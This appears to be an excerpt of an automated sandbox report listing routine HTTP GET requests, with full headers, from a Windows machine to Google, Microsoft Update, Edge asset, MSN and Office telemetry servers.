Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2F3VOfa2vwF4Y15&MD=lN4bUNbC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732820319&P2=404&P3=2&P4=HdwLs1lH8IQNtwBQMPu18EMHXz1QnkRd9CDWqLdhm3x7Z5fm2smsNYOlkqr0V7EwgJXFAkb%2fM%2fcNwFldkcl28w%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: VB8MlhAF6p0Zqp9otx7E2BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732215528921&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25D6022CE12A6CAA01731712E02D6DC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=25D6022CE12A6CAA01731712E02D6DC5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=e337a6e6f50e41adb5f37f032fd66200 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732215528921&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25D6022CE12A6CAA01731712E02D6DC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1029bb211dbb5e42e166b331732215529; XID=1029bb211dbb5e42e166b331732215529
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732215528920&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=8265b0b992de4911b760720b63d8fc7c&activityId=8265b0b992de4911b760720b63d8fc7c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=33A8BC1BE0FE44F8830930B93569D647&MUID=25D6022CE12A6CAA01731712E02D6DC5 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=25D6022CE12A6CAA01731712E02D6DC5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=5ef444155d1b46c7d9aaf7a2c6a17da2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=25D6022CE12A6CAA01731712E02D6DC5; _EDGE_S=F=1&SID=3A7F3A3C776F634F36542F02767A6227; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2F3VOfa2vwF4Y15&MD=lN4bUNbC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
